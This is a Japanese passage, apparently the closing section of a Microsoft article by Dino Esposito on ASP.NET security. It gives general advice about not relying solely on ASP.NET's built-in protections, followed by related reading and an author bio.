ASP.NET アプリケーションは、他の Web アプリケーションに比べてより脆弱でも、よりセキュアでもありません。セキュリティと脆弱性は共にコーディングの習慣、現場からの経験、そしてチームワークから導かれるものです。ネットワークがセキュアでなければ、アプリケーションがセキュアになることはありません。同じように、どんなにネットワークがセキュアでよく管理されていようとも、アプリケーションが壊れていれば、攻撃者は侵入路を見つけることでしょう。

ASP.NET の長所は、数回のクリックによりセキュリティをかなりのレベルに引き上げるいくつかの優れたツールを提供していることです。十分なレベルと言うわけではありませんが。ASP.NET 組み込みのソリューションにのみ頼らないようにしてください。もちろんこれらを無視することもやめてください。そして、可能な限り一般的な攻撃について学んでください。

この記事では注釈付きの組み込み機能のリストと、攻撃と防御についてのいくつかの背景を提供しています。進行中の攻撃を検出する手法については、別の話となり、おそらく別の記事が必要となるでしょう。

関連資料

Michael Howard、David LeBlanc 著 『Writing Secure Code

TechNet Magazine 『Web 上での盗用 : セッション ハイジャックの防止(英語)

著者紹介

Dino Esposito は、イタリアに拠点を置く Wintellect (英語) のインストラクタ兼コンサルタントです。Programming Microsoft ASP.NET (英語) や最近の Introducing Microsoft ASP.NET 2.0 (英語) (ともに Microsoft Press 刊) の著者であり、多くの時間を ASP.NET と ADO.NET クラスでの教育と会議での公演に当てています。Dino のブログは http://weblogs.asp.net/despos (英語) から訪問できます。


この情報は役に立ちましたか。
(残り 1500 文字)